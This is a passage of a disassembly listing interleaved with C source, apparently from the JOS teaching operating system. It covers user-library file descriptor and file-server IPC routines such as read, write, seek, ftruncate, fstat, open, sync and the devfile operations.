801a6d: 5f pop %edi
801a6e: 5d pop %ebp
801a6f: c3 ret
if ((r = sys_page_map(0, ova, 0, nva, uvpt[PGNUM(ova)] & PTE_SYSCALL)) < 0)
801a70: 8b 04 85 00 00 40 ef mov -0x10c00000(,%eax,4),%eax
801a77: 83 ec 0c sub $0xc,%esp
801a7a: 25 07 0e 00 00 and $0xe07,%eax
801a7f: 50 push %eax
801a80: 57 push %edi
801a81: 6a 00 push $0x0
801a83: 53 push %ebx
801a84: 6a 00 push $0x0
801a86: e8 99 f2 ff ff call 800d24 <sys_page_map>
801a8b: 89 c3 mov %eax,%ebx
801a8d: 83 c4 20 add $0x20,%esp
801a90: 85 c0 test %eax,%eax
801a92: 79 a3 jns 801a37 <dup+0x74>
sys_page_unmap(0, newfd);
801a94: 83 ec 08 sub $0x8,%esp
801a97: 56 push %esi
801a98: 6a 00 push $0x0
801a9a: e8 c7 f2 ff ff call 800d66 <sys_page_unmap>
sys_page_unmap(0, nva);
801a9f: 83 c4 08 add $0x8,%esp
801aa2: 57 push %edi
801aa3: 6a 00 push $0x0
801aa5: e8 bc f2 ff ff call 800d66 <sys_page_unmap>
return r;
801aaa: 83 c4 10 add $0x10,%esp
801aad: eb b7 jmp 801a66 <dup+0xa3>
00801aaf <read>:
ssize_t
read(int fdnum, void *buf, size_t n)
{
801aaf: 55 push %ebp
801ab0: 89 e5 mov %esp,%ebp
801ab2: 53 push %ebx
801ab3: 83 ec 14 sub $0x14,%esp
801ab6: 8b 5d 08 mov 0x8(%ebp),%ebx
int r;
struct Dev *dev;
struct Fd *fd;
if ((r = fd_lookup(fdnum, &fd)) < 0
801ab9: 8d 45 f0 lea -0x10(%ebp),%eax
801abc: 50 push %eax
801abd: 53 push %ebx
801abe: e8 7b fd ff ff call 80183e <fd_lookup>
801ac3: 83 c4 08 add $0x8,%esp
801ac6: 85 c0 test %eax,%eax
801ac8: 78 3f js 801b09 <read+0x5a>
|| (r = dev_lookup(fd->fd_dev_id, &dev)) < 0)
801aca: 83 ec 08 sub $0x8,%esp
801acd: 8d 45 f4 lea -0xc(%ebp),%eax
801ad0: 50 push %eax
801ad1: 8b 45 f0 mov -0x10(%ebp),%eax
801ad4: ff 30 pushl (%eax)
801ad6: e8 b9 fd ff ff call 801894 <dev_lookup>
801adb: 83 c4 10 add $0x10,%esp
801ade: 85 c0 test %eax,%eax
801ae0: 78 27 js 801b09 <read+0x5a>
return r;
if ((fd->fd_omode & O_ACCMODE) == O_WRONLY) {
801ae2: 8b 55 f0 mov -0x10(%ebp),%edx
801ae5: 8b 42 08 mov 0x8(%edx),%eax
801ae8: 83 e0 03 and $0x3,%eax
801aeb: 83 f8 01 cmp $0x1,%eax
801aee: 74 1e je 801b0e <read+0x5f>
cprintf("[%08x] read %d -- bad mode\n", thisenv->env_id, fdnum);
return -E_INVAL;
}
if (!dev->dev_read)
801af0: 8b 45 f4 mov -0xc(%ebp),%eax
801af3: 8b 40 08 mov 0x8(%eax),%eax
801af6: 85 c0 test %eax,%eax
801af8: 74 35 je 801b2f <read+0x80>
return -E_NOT_SUPP;
return (*dev->dev_read)(fd, buf, n);
801afa: 83 ec 04 sub $0x4,%esp
801afd: ff 75 10 pushl 0x10(%ebp)
801b00: ff 75 0c pushl 0xc(%ebp)
801b03: 52 push %edx
801b04: ff d0 call *%eax
801b06: 83 c4 10 add $0x10,%esp
}
801b09: 8b 5d fc mov -0x4(%ebp),%ebx
801b0c: c9 leave
801b0d: c3 ret
cprintf("[%08x] read %d -- bad mode\n", thisenv->env_id, fdnum);
801b0e: a1 04 40 80 00 mov 0x804004,%eax
801b13: 8b 40 48 mov 0x48(%eax),%eax
801b16: 83 ec 04 sub $0x4,%esp
801b19: 53 push %ebx
801b1a: 50 push %eax
801b1b: 68 04 2e 80 00 push $0x802e04
801b20: e8 a4 e7 ff ff call 8002c9 <cprintf>
return -E_INVAL;
801b25: 83 c4 10 add $0x10,%esp
801b28: b8 fd ff ff ff mov $0xfffffffd,%eax
801b2d: eb da jmp 801b09 <read+0x5a>
return -E_NOT_SUPP;
801b2f: b8 f1 ff ff ff mov $0xfffffff1,%eax
801b34: eb d3 jmp 801b09 <read+0x5a>
00801b36 <readn>:
ssize_t
readn(int fdnum, void *buf, size_t n)
{
801b36: 55 push %ebp
801b37: 89 e5 mov %esp,%ebp
801b39: 57 push %edi
801b3a: 56 push %esi
801b3b: 53 push %ebx
801b3c: 83 ec 0c sub $0xc,%esp
801b3f: 8b 7d 08 mov 0x8(%ebp),%edi
801b42: 8b 75 10 mov 0x10(%ebp),%esi
int m, tot;
for (tot = 0; tot < n; tot += m) {
801b45: bb 00 00 00 00 mov $0x0,%ebx
801b4a: 39 f3 cmp %esi,%ebx
801b4c: 73 25 jae 801b73 <readn+0x3d>
m = read(fdnum, (char*)buf + tot, n - tot);
801b4e: 83 ec 04 sub $0x4,%esp
801b51: 89 f0 mov %esi,%eax
801b53: 29 d8 sub %ebx,%eax
801b55: 50 push %eax
801b56: 89 d8 mov %ebx,%eax
801b58: 03 45 0c add 0xc(%ebp),%eax
801b5b: 50 push %eax
801b5c: 57 push %edi
801b5d: e8 4d ff ff ff call 801aaf <read>
if (m < 0)
801b62: 83 c4 10 add $0x10,%esp
801b65: 85 c0 test %eax,%eax
801b67: 78 08 js 801b71 <readn+0x3b>
return m;
if (m == 0)
801b69: 85 c0 test %eax,%eax
801b6b: 74 06 je 801b73 <readn+0x3d>
for (tot = 0; tot < n; tot += m) {
801b6d: 01 c3 add %eax,%ebx
801b6f: eb d9 jmp 801b4a <readn+0x14>
m = read(fdnum, (char*)buf + tot, n - tot);
801b71: 89 c3 mov %eax,%ebx
break;
}
return tot;
}
801b73: 89 d8 mov %ebx,%eax
801b75: 8d 65 f4 lea -0xc(%ebp),%esp
801b78: 5b pop %ebx
801b79: 5e pop %esi
801b7a: 5f pop %edi
801b7b: 5d pop %ebp
801b7c: c3 ret
00801b7d <write>:
ssize_t
write(int fdnum, const void *buf, size_t n)
{
801b7d: 55 push %ebp
801b7e: 89 e5 mov %esp,%ebp
801b80: 53 push %ebx
801b81: 83 ec 14 sub $0x14,%esp
801b84: 8b 5d 08 mov 0x8(%ebp),%ebx
int r;
struct Dev *dev;
struct Fd *fd;
if ((r = fd_lookup(fdnum, &fd)) < 0
801b87: 8d 45 f0 lea -0x10(%ebp),%eax
801b8a: 50 push %eax
801b8b: 53 push %ebx
801b8c: e8 ad fc ff ff call 80183e <fd_lookup>
801b91: 83 c4 08 add $0x8,%esp
801b94: 85 c0 test %eax,%eax
801b96: 78 3a js 801bd2 <write+0x55>
|| (r = dev_lookup(fd->fd_dev_id, &dev)) < 0)
801b98: 83 ec 08 sub $0x8,%esp
801b9b: 8d 45 f4 lea -0xc(%ebp),%eax
801b9e: 50 push %eax
801b9f: 8b 45 f0 mov -0x10(%ebp),%eax
801ba2: ff 30 pushl (%eax)
801ba4: e8 eb fc ff ff call 801894 <dev_lookup>
801ba9: 83 c4 10 add $0x10,%esp
801bac: 85 c0 test %eax,%eax
801bae: 78 22 js 801bd2 <write+0x55>
return r;
if ((fd->fd_omode & O_ACCMODE) == O_RDONLY) {
801bb0: 8b 45 f0 mov -0x10(%ebp),%eax
801bb3: f6 40 08 03 testb $0x3,0x8(%eax)
801bb7: 74 1e je 801bd7 <write+0x5a>
return -E_INVAL;
}
if (debug)
cprintf("write %d %p %d via dev %s\n",
fdnum, buf, n, dev->dev_name);
if (!dev->dev_write)
801bb9: 8b 55 f4 mov -0xc(%ebp),%edx
801bbc: 8b 52 0c mov 0xc(%edx),%edx
801bbf: 85 d2 test %edx,%edx
801bc1: 74 35 je 801bf8 <write+0x7b>
return -E_NOT_SUPP;
return (*dev->dev_write)(fd, buf, n);
801bc3: 83 ec 04 sub $0x4,%esp
801bc6: ff 75 10 pushl 0x10(%ebp)
801bc9: ff 75 0c pushl 0xc(%ebp)
801bcc: 50 push %eax
801bcd: ff d2 call *%edx
801bcf: 83 c4 10 add $0x10,%esp
}
801bd2: 8b 5d fc mov -0x4(%ebp),%ebx
801bd5: c9 leave
801bd6: c3 ret
cprintf("[%08x] write %d -- bad mode\n", thisenv->env_id, fdnum);
801bd7: a1 04 40 80 00 mov 0x804004,%eax
801bdc: 8b 40 48 mov 0x48(%eax),%eax
801bdf: 83 ec 04 sub $0x4,%esp
801be2: 53 push %ebx
801be3: 50 push %eax
801be4: 68 20 2e 80 00 push $0x802e20
801be9: e8 db e6 ff ff call 8002c9 <cprintf>
return -E_INVAL;
801bee: 83 c4 10 add $0x10,%esp
801bf1: b8 fd ff ff ff mov $0xfffffffd,%eax
801bf6: eb da jmp 801bd2 <write+0x55>
return -E_NOT_SUPP;
801bf8: b8 f1 ff ff ff mov $0xfffffff1,%eax
801bfd: eb d3 jmp 801bd2 <write+0x55>
00801bff <seek>:
int
seek(int fdnum, off_t offset)
{
801bff: 55 push %ebp
801c00: 89 e5 mov %esp,%ebp
801c02: 83 ec 10 sub $0x10,%esp
int r;
struct Fd *fd;
if ((r = fd_lookup(fdnum, &fd)) < 0)
801c05: 8d 45 fc lea -0x4(%ebp),%eax
801c08: 50 push %eax
801c09: ff 75 08 pushl 0x8(%ebp)
801c0c: e8 2d fc ff ff call 80183e <fd_lookup>
801c11: 83 c4 08 add $0x8,%esp
801c14: 85 c0 test %eax,%eax
801c16: 78 0e js 801c26 <seek+0x27>
return r;
fd->fd_offset = offset;
801c18: 8b 55 0c mov 0xc(%ebp),%edx
801c1b: 8b 45 fc mov -0x4(%ebp),%eax
801c1e: 89 50 04 mov %edx,0x4(%eax)
return 0;
801c21: b8 00 00 00 00 mov $0x0,%eax
}
801c26: c9 leave
801c27: c3 ret
00801c28 <ftruncate>:
int
ftruncate(int fdnum, off_t newsize)
{
801c28: 55 push %ebp
801c29: 89 e5 mov %esp,%ebp
801c2b: 53 push %ebx
801c2c: 83 ec 14 sub $0x14,%esp
801c2f: 8b 5d 08 mov 0x8(%ebp),%ebx
int r;
struct Dev *dev;
struct Fd *fd;
if ((r = fd_lookup(fdnum, &fd)) < 0
801c32: 8d 45 f0 lea -0x10(%ebp),%eax
801c35: 50 push %eax
801c36: 53 push %ebx
801c37: e8 02 fc ff ff call 80183e <fd_lookup>
801c3c: 83 c4 08 add $0x8,%esp
801c3f: 85 c0 test %eax,%eax
801c41: 78 37 js 801c7a <ftruncate+0x52>
|| (r = dev_lookup(fd->fd_dev_id, &dev)) < 0)
801c43: 83 ec 08 sub $0x8,%esp
801c46: 8d 45 f4 lea -0xc(%ebp),%eax
801c49: 50 push %eax
801c4a: 8b 45 f0 mov -0x10(%ebp),%eax
801c4d: ff 30 pushl (%eax)
801c4f: e8 40 fc ff ff call 801894 <dev_lookup>
801c54: 83 c4 10 add $0x10,%esp
801c57: 85 c0 test %eax,%eax
801c59: 78 1f js 801c7a <ftruncate+0x52>
return r;
if ((fd->fd_omode & O_ACCMODE) == O_RDONLY) {
801c5b: 8b 45 f0 mov -0x10(%ebp),%eax
801c5e: f6 40 08 03 testb $0x3,0x8(%eax)
801c62: 74 1b je 801c7f <ftruncate+0x57>
cprintf("[%08x] ftruncate %d -- bad mode\n",
thisenv->env_id, fdnum);
return -E_INVAL;
}
if (!dev->dev_trunc)
801c64: 8b 55 f4 mov -0xc(%ebp),%edx
801c67: 8b 52 18 mov 0x18(%edx),%edx
801c6a: 85 d2 test %edx,%edx
801c6c: 74 32 je 801ca0 <ftruncate+0x78>
return -E_NOT_SUPP;
return (*dev->dev_trunc)(fd, newsize);
801c6e: 83 ec 08 sub $0x8,%esp
801c71: ff 75 0c pushl 0xc(%ebp)
801c74: 50 push %eax
801c75: ff d2 call *%edx
801c77: 83 c4 10 add $0x10,%esp
}
801c7a: 8b 5d fc mov -0x4(%ebp),%ebx
801c7d: c9 leave
801c7e: c3 ret
thisenv->env_id, fdnum);
801c7f: a1 04 40 80 00 mov 0x804004,%eax
cprintf("[%08x] ftruncate %d -- bad mode\n",
801c84: 8b 40 48 mov 0x48(%eax),%eax
801c87: 83 ec 04 sub $0x4,%esp
801c8a: 53 push %ebx
801c8b: 50 push %eax
801c8c: 68 e0 2d 80 00 push $0x802de0
801c91: e8 33 e6 ff ff call 8002c9 <cprintf>
return -E_INVAL;
801c96: 83 c4 10 add $0x10,%esp
801c99: b8 fd ff ff ff mov $0xfffffffd,%eax
801c9e: eb da jmp 801c7a <ftruncate+0x52>
return -E_NOT_SUPP;
801ca0: b8 f1 ff ff ff mov $0xfffffff1,%eax
801ca5: eb d3 jmp 801c7a <ftruncate+0x52>
00801ca7 <fstat>:
int
fstat(int fdnum, struct Stat *stat)
{
801ca7: 55 push %ebp
801ca8: 89 e5 mov %esp,%ebp
801caa: 53 push %ebx
801cab: 83 ec 14 sub $0x14,%esp
801cae: 8b 5d 0c mov 0xc(%ebp),%ebx
int r;
struct Dev *dev;
struct Fd *fd;
if ((r = fd_lookup(fdnum, &fd)) < 0
801cb1: 8d 45 f0 lea -0x10(%ebp),%eax
801cb4: 50 push %eax
801cb5: ff 75 08 pushl 0x8(%ebp)
801cb8: e8 81 fb ff ff call 80183e <fd_lookup>
801cbd: 83 c4 08 add $0x8,%esp
801cc0: 85 c0 test %eax,%eax
801cc2: 78 4b js 801d0f <fstat+0x68>
|| (r = dev_lookup(fd->fd_dev_id, &dev)) < 0)
801cc4: 83 ec 08 sub $0x8,%esp
801cc7: 8d 45 f4 lea -0xc(%ebp),%eax
801cca: 50 push %eax
801ccb: 8b 45 f0 mov -0x10(%ebp),%eax
801cce: ff 30 pushl (%eax)
801cd0: e8 bf fb ff ff call 801894 <dev_lookup>
801cd5: 83 c4 10 add $0x10,%esp
801cd8: 85 c0 test %eax,%eax
801cda: 78 33 js 801d0f <fstat+0x68>
return r;
if (!dev->dev_stat)
801cdc: 8b 45 f4 mov -0xc(%ebp),%eax
801cdf: 83 78 14 00 cmpl $0x0,0x14(%eax)
801ce3: 74 2f je 801d14 <fstat+0x6d>
return -E_NOT_SUPP;
stat->st_name[0] = 0;
801ce5: c6 03 00 movb $0x0,(%ebx)
stat->st_size = 0;
801ce8: c7 83 80 00 00 00 00 movl $0x0,0x80(%ebx)
801cef: 00 00 00
stat->st_isdir = 0;
801cf2: c7 83 84 00 00 00 00 movl $0x0,0x84(%ebx)
801cf9: 00 00 00
stat->st_dev = dev;
801cfc: 89 83 88 00 00 00 mov %eax,0x88(%ebx)
return (*dev->dev_stat)(fd, stat);
801d02: 83 ec 08 sub $0x8,%esp
801d05: 53 push %ebx
801d06: ff 75 f0 pushl -0x10(%ebp)
801d09: ff 50 14 call *0x14(%eax)
801d0c: 83 c4 10 add $0x10,%esp
}
801d0f: 8b 5d fc mov -0x4(%ebp),%ebx
801d12: c9 leave
801d13: c3 ret
return -E_NOT_SUPP;
801d14: b8 f1 ff ff ff mov $0xfffffff1,%eax
801d19: eb f4 jmp 801d0f <fstat+0x68>
00801d1b <stat>:
int
stat(const char *path, struct Stat *stat)
{
801d1b: 55 push %ebp
801d1c: 89 e5 mov %esp,%ebp
801d1e: 56 push %esi
801d1f: 53 push %ebx
int fd, r;
if ((fd = open(path, O_RDONLY)) < 0)
801d20: 83 ec 08 sub $0x8,%esp
801d23: 6a 00 push $0x0
801d25: ff 75 08 pushl 0x8(%ebp)
801d28: e8 30 02 00 00 call 801f5d <open>
801d2d: 89 c3 mov %eax,%ebx
801d2f: 83 c4 10 add $0x10,%esp
801d32: 85 c0 test %eax,%eax
801d34: 78 1b js 801d51 <stat+0x36>
return fd;
r = fstat(fd, stat);
801d36: 83 ec 08 sub $0x8,%esp
801d39: ff 75 0c pushl 0xc(%ebp)
801d3c: 50 push %eax
801d3d: e8 65 ff ff ff call 801ca7 <fstat>
801d42: 89 c6 mov %eax,%esi
close(fd);
801d44: 89 1c 24 mov %ebx,(%esp)
801d47: e8 27 fc ff ff call 801973 <close>
return r;
801d4c: 83 c4 10 add $0x10,%esp
801d4f: 89 f3 mov %esi,%ebx
}
801d51: 89 d8 mov %ebx,%eax
801d53: 8d 65 f8 lea -0x8(%ebp),%esp
801d56: 5b pop %ebx
801d57: 5e pop %esi
801d58: 5d pop %ebp
801d59: c3 ret
00801d5a <fsipc>:
// type: request code, passed as the simple integer IPC value.
// dstva: virtual address at which to receive reply page, 0 if none.
// Returns result from the file server.
static int
fsipc(unsigned type, void *dstva)
{
801d5a: 55 push %ebp
801d5b: 89 e5 mov %esp,%ebp
801d5d: 56 push %esi
801d5e: 53 push %ebx
801d5f: 89 c6 mov %eax,%esi
801d61: 89 d3 mov %edx,%ebx
static envid_t fsenv;
if (fsenv == 0)
801d63: 83 3d 00 40 80 00 00 cmpl $0x0,0x804000
801d6a: 74 27 je 801d93 <fsipc+0x39>
static_assert(sizeof(fsipcbuf) == PGSIZE);
if (debug)
cprintf("[%08x] fsipc %d %08x\n", thisenv->env_id, type, *(uint32_t *)&fsipcbuf);
ipc_send(fsenv, type, &fsipcbuf, PTE_P | PTE_W | PTE_U);
801d6c: 6a 07 push $0x7
801d6e: 68 00 50 80 00 push $0x805000
801d73: 56 push %esi
801d74: ff 35 00 40 80 00 pushl 0x804000
801d7a: e8 b6 07 00 00 call 802535 <ipc_send>
return ipc_recv(NULL, dstva, NULL);
801d7f: 83 c4 0c add $0xc,%esp
801d82: 6a 00 push $0x0
801d84: 53 push %ebx
801d85: 6a 00 push $0x0
801d87: e8 40 07 00 00 call 8024cc <ipc_recv>
}
801d8c: 8d 65 f8 lea -0x8(%ebp),%esp
801d8f: 5b pop %ebx
801d90: 5e pop %esi
801d91: 5d pop %ebp
801d92: c3 ret
fsenv = ipc_find_env(ENV_TYPE_FS);
801d93: 83 ec 0c sub $0xc,%esp
801d96: 6a 01 push $0x1
801d98: e8 ec 07 00 00 call 802589 <ipc_find_env>
801d9d: a3 00 40 80 00 mov %eax,0x804000
801da2: 83 c4 10 add $0x10,%esp
801da5: eb c5 jmp 801d6c <fsipc+0x12>
00801da7 <devfile_trunc>:
}
// Truncate or extend an open file to 'size' bytes
static int
devfile_trunc(struct Fd *fd, off_t newsize)
{
801da7: 55 push %ebp
801da8: 89 e5 mov %esp,%ebp
801daa: 83 ec 08 sub $0x8,%esp
fsipcbuf.set_size.req_fileid = fd->fd_file.id;
801dad: 8b 45 08 mov 0x8(%ebp),%eax
801db0: 8b 40 0c mov 0xc(%eax),%eax
801db3: a3 00 50 80 00 mov %eax,0x805000
fsipcbuf.set_size.req_size = newsize;
801db8: 8b 45 0c mov 0xc(%ebp),%eax
801dbb: a3 04 50 80 00 mov %eax,0x805004
return fsipc(FSREQ_SET_SIZE, NULL);
801dc0: ba 00 00 00 00 mov $0x0,%edx
801dc5: b8 02 00 00 00 mov $0x2,%eax
801dca: e8 8b ff ff ff call 801d5a <fsipc>
}
801dcf: c9 leave
801dd0: c3 ret
00801dd1 <devfile_flush>:
{
801dd1: 55 push %ebp
801dd2: 89 e5 mov %esp,%ebp
801dd4: 83 ec 08 sub $0x8,%esp
fsipcbuf.flush.req_fileid = fd->fd_file.id;
801dd7: 8b 45 08 mov 0x8(%ebp),%eax
801dda: 8b 40 0c mov 0xc(%eax),%eax
801ddd: a3 00 50 80 00 mov %eax,0x805000
return fsipc(FSREQ_FLUSH, NULL);
801de2: ba 00 00 00 00 mov $0x0,%edx
801de7: b8 06 00 00 00 mov $0x6,%eax
801dec: e8 69 ff ff ff call 801d5a <fsipc>
}
801df1: c9 leave
801df2: c3 ret
00801df3 <devfile_stat>:
{
801df3: 55 push %ebp
801df4: 89 e5 mov %esp,%ebp
801df6: 53 push %ebx
801df7: 83 ec 04 sub $0x4,%esp
801dfa: 8b 5d 0c mov 0xc(%ebp),%ebx
fsipcbuf.stat.req_fileid = fd->fd_file.id;
801dfd: 8b 45 08 mov 0x8(%ebp),%eax
801e00: 8b 40 0c mov 0xc(%eax),%eax
801e03: a3 00 50 80 00 mov %eax,0x805000
if ((r = fsipc(FSREQ_STAT, NULL)) < 0)
801e08: ba 00 00 00 00 mov $0x0,%edx
801e0d: b8 05 00 00 00 mov $0x5,%eax
801e12: e8 43 ff ff ff call 801d5a <fsipc>
801e17: 85 c0 test %eax,%eax
801e19: 78 2c js 801e47 <devfile_stat+0x54>
strcpy(st->st_name, fsipcbuf.statRet.ret_name);
801e1b: 83 ec 08 sub $0x8,%esp
801e1e: 68 00 50 80 00 push $0x805000
801e23: 53 push %ebx
801e24: e8 bf ea ff ff call 8008e8 <strcpy>
st->st_size = fsipcbuf.statRet.ret_size;
801e29: a1 80 50 80 00 mov 0x805080,%eax
801e2e: 89 83 80 00 00 00 mov %eax,0x80(%ebx)
st->st_isdir = fsipcbuf.statRet.ret_isdir;
801e34: a1 84 50 80 00 mov 0x805084,%eax
801e39: 89 83 84 00 00 00 mov %eax,0x84(%ebx)
return 0;
801e3f: 83 c4 10 add $0x10,%esp
801e42: b8 00 00 00 00 mov $0x0,%eax
}
801e47: 8b 5d fc mov -0x4(%ebp),%ebx
801e4a: c9 leave
801e4b: c3 ret
00801e4c <devfile_write>:
{
801e4c: 55 push %ebp
801e4d: 89 e5 mov %esp,%ebp
801e4f: 53 push %ebx
801e50: 83 ec 08 sub $0x8,%esp
801e53: 8b 5d 10 mov 0x10(%ebp),%ebx
n = sizeof(fsipcbuf.write.req_buf) > n ? n : sizeof(fsipcbuf.write.req_buf);
801e56: 81 fb f8 0f 00 00 cmp $0xff8,%ebx
801e5c: b8 f8 0f 00 00 mov $0xff8,%eax
801e61: 0f 47 d8 cmova %eax,%ebx
fsipcbuf.write.req_fileid = fd->fd_file.id;
801e64: 8b 45 08 mov 0x8(%ebp),%eax
801e67: 8b 40 0c mov 0xc(%eax),%eax
801e6a: a3 00 50 80 00 mov %eax,0x805000
fsipcbuf.write.req_n = n;
801e6f: 89 1d 04 50 80 00 mov %ebx,0x805004
memmove(fsipcbuf.write.req_buf, buf, n);
801e75: 53 push %ebx
801e76: ff 75 0c pushl 0xc(%ebp)
801e79: 68 08 50 80 00 push $0x805008
801e7e: e8 f3 eb ff ff call 800a76 <memmove>
if ((r = fsipc(FSREQ_WRITE, NULL)) < 0)
801e83: ba 00 00 00 00 mov $0x0,%edx
801e88: b8 04 00 00 00 mov $0x4,%eax
801e8d: e8 c8 fe ff ff call 801d5a <fsipc>
801e92: 83 c4 10 add $0x10,%esp
801e95: 85 c0 test %eax,%eax
801e97: 78 0b js 801ea4 <devfile_write+0x58>
assert(r <= n);
801e99: 39 d8 cmp %ebx,%eax
801e9b: 77 0c ja 801ea9 <devfile_write+0x5d>
assert(r <= PGSIZE);
801e9d: 3d 00 10 00 00 cmp $0x1000,%eax
801ea2: 7f 1e jg 801ec2 <devfile_write+0x76>
}
801ea4: 8b 5d fc mov -0x4(%ebp),%ebx
801ea7: c9 leave
801ea8: c3 ret
assert(r <= n);
801ea9: 68 50 2e 80 00 push $0x802e50
801eae: 68 f4 2c 80 00 push $0x802cf4
801eb3: 68 98 00 00 00 push $0x98
801eb8: 68 57 2e 80 00 push $0x802e57
801ebd: e8 2c e3 ff ff call 8001ee <_panic>
assert(r <= PGSIZE);
801ec2: 68 62 2e 80 00 push $0x802e62
801ec7: 68 f4 2c 80 00 push $0x802cf4
801ecc: 68 99 00 00 00 push $0x99
801ed1: 68 57 2e 80 00 push $0x802e57
801ed6: e8 13 e3 ff ff call 8001ee <_panic>
00801edb <devfile_read>:
{
801edb: 55 push %ebp
801edc: 89 e5 mov %esp,%ebp
801ede: 56 push %esi
801edf: 53 push %ebx
801ee0: 8b 75 10 mov 0x10(%ebp),%esi
fsipcbuf.read.req_fileid = fd->fd_file.id;
801ee3: 8b 45 08 mov 0x8(%ebp),%eax
801ee6: 8b 40 0c mov 0xc(%eax),%eax
801ee9: a3 00 50 80 00 mov %eax,0x805000
fsipcbuf.read.req_n = n;
801eee: 89 35 04 50 80 00 mov %esi,0x805004
if ((r = fsipc(FSREQ_READ, NULL)) < 0)
801ef4: ba 00 00 00 00 mov $0x0,%edx
801ef9: b8 03 00 00 00 mov $0x3,%eax
801efe: e8 57 fe ff ff call 801d5a <fsipc>
801f03: 89 c3 mov %eax,%ebx
801f05: 85 c0 test %eax,%eax
801f07: 78 1f js 801f28 <devfile_read+0x4d>
assert(r <= n);
801f09: 39 f0 cmp %esi,%eax
801f0b: 77 24 ja 801f31 <devfile_read+0x56>
assert(r <= PGSIZE);
801f0d: 3d 00 10 00 00 cmp $0x1000,%eax
801f12: 7f 33 jg 801f47 <devfile_read+0x6c>
memmove(buf, fsipcbuf.readRet.ret_buf, r);
801f14: 83 ec 04 sub $0x4,%esp
801f17: 50 push %eax
801f18: 68 00 50 80 00 push $0x805000
801f1d: ff 75 0c pushl 0xc(%ebp)
801f20: e8 51 eb ff ff call 800a76 <memmove>
return r;
801f25: 83 c4 10 add $0x10,%esp
}
801f28: 89 d8 mov %ebx,%eax
801f2a: 8d 65 f8 lea -0x8(%ebp),%esp
801f2d: 5b pop %ebx
801f2e: 5e pop %esi
801f2f: 5d pop %ebp
801f30: c3 ret
assert(r <= n);
801f31: 68 50 2e 80 00 push $0x802e50
801f36: 68 f4 2c 80 00 push $0x802cf4
801f3b: 6a 7c push $0x7c
801f3d: 68 57 2e 80 00 push $0x802e57
801f42: e8 a7 e2 ff ff call 8001ee <_panic>
assert(r <= PGSIZE);
801f47: 68 62 2e 80 00 push $0x802e62
801f4c: 68 f4 2c 80 00 push $0x802cf4
801f51: 6a 7d push $0x7d
801f53: 68 57 2e 80 00 push $0x802e57
801f58: e8 91 e2 ff ff call 8001ee <_panic>
00801f5d <open>:
{
801f5d: 55 push %ebp
801f5e: 89 e5 mov %esp,%ebp
801f60: 56 push %esi
801f61: 53 push %ebx
801f62: 83 ec 1c sub $0x1c,%esp
801f65: 8b 75 08 mov 0x8(%ebp),%esi
if (strlen(path) >= MAXPATHLEN)
801f68: 56 push %esi
801f69: e8 43 e9 ff ff call 8008b1 <strlen>
801f6e: 83 c4 10 add $0x10,%esp
801f71: 3d ff 03 00 00 cmp $0x3ff,%eax
801f76: 7f 6c jg 801fe4 <open+0x87>
if ((r = fd_alloc(&fd)) < 0)
801f78: 83 ec 0c sub $0xc,%esp
801f7b: 8d 45 f4 lea -0xc(%ebp),%eax
801f7e: 50 push %eax
801f7f: e8 6b f8 ff ff call 8017ef <fd_alloc>
801f84: 89 c3 mov %eax,%ebx
801f86: 83 c4 10 add $0x10,%esp
801f89: 85 c0 test %eax,%eax
801f8b: 78 3c js 801fc9 <open+0x6c>
strcpy(fsipcbuf.open.req_path, path);
801f8d: 83 ec 08 sub $0x8,%esp
801f90: 56 push %esi
801f91: 68 00 50 80 00 push $0x805000
801f96: e8 4d e9 ff ff call 8008e8 <strcpy>
fsipcbuf.open.req_omode = mode;
801f9b: 8b 45 0c mov 0xc(%ebp),%eax
801f9e: a3 00 54 80 00 mov %eax,0x805400
if ((r = fsipc(FSREQ_OPEN, fd)) < 0) {
801fa3: 8b 55 f4 mov -0xc(%ebp),%edx
801fa6: b8 01 00 00 00 mov $0x1,%eax
801fab: e8 aa fd ff ff call 801d5a <fsipc>
801fb0: 89 c3 mov %eax,%ebx
801fb2: 83 c4 10 add $0x10,%esp
801fb5: 85 c0 test %eax,%eax
801fb7: 78 19 js 801fd2 <open+0x75>
return fd2num(fd);
801fb9: 83 ec 0c sub $0xc,%esp
801fbc: ff 75 f4 pushl -0xc(%ebp)
801fbf: e8 04 f8 ff ff call 8017c8 <fd2num>
801fc4: 89 c3 mov %eax,%ebx
801fc6: 83 c4 10 add $0x10,%esp
}
801fc9: 89 d8 mov %ebx,%eax
801fcb: 8d 65 f8 lea -0x8(%ebp),%esp
801fce: 5b pop %ebx
801fcf: 5e pop %esi
801fd0: 5d pop %ebp
801fd1: c3 ret
fd_close(fd, 0);
801fd2: 83 ec 08 sub $0x8,%esp
801fd5: 6a 00 push $0x0
801fd7: ff 75 f4 pushl -0xc(%ebp)
801fda: e8 0b f9 ff ff call 8018ea <fd_close>
return r;
801fdf: 83 c4 10 add $0x10,%esp
801fe2: eb e5 jmp 801fc9 <open+0x6c>
return -E_BAD_PATH;
801fe4: bb f4 ff ff ff mov $0xfffffff4,%ebx
801fe9: eb de jmp 801fc9 <open+0x6c>
00801feb <sync>:
// Synchronize disk with buffer cache
int
sync(void)
{
801feb: 55 push %ebp
801fec: 89 e5 mov %esp,%ebp
801fee: 83 ec 08 sub $0x8,%esp
// Ask the file server to update the disk
// by writing any dirty blocks in the buffer cache.
return fsipc(FSREQ_SYNC, NULL);
801ff1: ba 00 00 00 00 mov $0x0,%edx
801ff6: b8 08 00 00 00 mov $0x8,%eax
801ffb: e8 5a fd ff ff call 801d5a <fsipc>
}
802000: c9 leave
802001: c3 ret
00802002 <devpipe_stat>:
return i;
}
static int
devpipe_stat(struct Fd *fd, struct Stat *stat)
{
802002: 55 push %ebp
802003: 89 e5 mov %esp,%ebp
802005: 56 push %esi
802006: 53 push %ebx
802007: 8b 5d 0c mov 0xc(%ebp),%ebx
struct Pipe *p = (struct Pipe*) fd2data(fd);
80200a: 83 ec 0c sub $0xc,%esp
80200d: ff 75 08 pushl 0x8(%ebp)
802010: e8 c3 f7 ff ff call 8017d8 <fd2data>
802015: 89 c6 mov %eax,%esi
strcpy(stat->st_name, "<pipe>");
802017: 83 c4 08 add $0x8,%esp
80201a: 68 6e 2e 80 00 push $0x802e6e
80201f: 53 push %ebx
802020: e8 c3 e8 ff ff call 8008e8 <strcpy>
stat->st_size = p->p_wpos - p->p_rpos;
802025: 8b 46 04 mov 0x4(%esi),%eax
802028: 2b 06 sub (%esi),%eax
80202a: 89 83 80 00 00 00 mov %eax,0x80(%ebx)
stat->st_isdir = 0;
802030: c7 83 84 00 00 00 00 movl $0x0,0x84(%ebx)
802037: 00 00 00
